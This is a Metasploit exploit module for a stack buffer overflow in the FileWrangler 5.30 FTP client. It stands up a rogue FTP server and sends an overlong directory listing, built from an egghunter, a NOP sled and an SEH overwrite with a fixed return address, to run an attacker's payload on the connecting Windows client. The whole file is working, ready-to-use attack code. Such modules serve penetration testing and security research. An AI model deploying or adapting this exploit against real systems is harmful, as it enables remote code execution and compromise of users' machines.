FileWrangler 5.30 Stack Buffer Overflow

`##  
# $Id: filewrangler_list_reply.rb 10660 2010-10-12 18:39:21Z jduck $  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::FtpServer  
include Msf::Exploit::Remote::Egghunter  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'FileWrangler 5.30 Stack Buffer Overflow',  
'Description' => %q{  
This module exploits a buffer overflow in the FileWrangler client  
that is triggered when the client connects to a FTP server and lists  
the directory contents, containing an overly long directory name.  
},  
'Author' =>  
[  
'nullthreat', # found bug  
'corelanc0d3r' # wrote the exploit  
],  
'License' => MSF_LICENSE,  
'Version' => "$Revision: 10660 $",  
'References' =>  
[  
[ 'URL', 'http://www.corelan.be:8800/index.php/2010/10/12/death-of-an-ftp-client/' ],  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'seh',  
},  
'Payload' =>  
{  
'Space' => 3000,  
'BadChars' => "\x00\x0d\x1a\x2a\x51",  
'StackAdjustment' => -5000,  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'Windows Universal', { 'Offset' => 4082, 'Ret' => 0x0042BE63 } ], #ppr [wrangler.exe]  
],  
'Privileged' => false,  
'DisclosureDate' => 'Oct 12 2010',  
'DefaultTarget' => 0))  
  
end  
  
  
def setup  
super  
end  
  
def on_client_unknown_command(c,cmd,arg)  
c.put("200 OK\r\n")  
end  
  
def on_client_command_list(c,arg)  
conn = establish_data_connection(c)  
if(not conn)  
c.put("425 Can't build data connection\r\n")  
return  
end  
print_status(" - Data connection set up")  
code = 150  
c.put("#{code} Here comes the directory listing.\r\n")  
code = 226  
c.put("#{code} Directory send ok.\r\n")  
  
# create the egg hunter  
print_status(" - Creating the Egg Hunter")  
badchars = ""  
eggoptions =  
{  
:checksum => true,  
:eggtag => "W00T"  
}  
  
hunter,egg = generate_egghunter(payload.encoded,badchars,eggoptions)  
  
# create hunter  
predator = "\x90" * 42  
predator << hunter  
  
# create the crash payload  
crash = rand_text_alpha(target['Offset'] - (egg.length + predator.length))  
  
# Set nseh to jump back 50 (before egghunter)  
jmp = "\x90" * 5 + "\xE9\xC9\xFF\xFF\xFF"  
nseh = "\xEB\xF9\x90\x90" # NSEH  
seh = [target.ret].pack('V')  
  
print_status(" - Building the Buffer")  
buffer = crash + egg + predator + jmp + nseh + seh  
strfolder = buffer + "B" * (5000-buffer.length) #make sure it dies  
  
print_status(" - Sending directory list via data connection")  
dirlist ="drwxrwxrwx 1 100 0 11111 Jun 11 21:10 #{strfolder}\r\n"  
conn.put(dirlist)  
conn.close  
print_status(" - Waiting for egghunter...")  
return  
  
end  
  
end  
`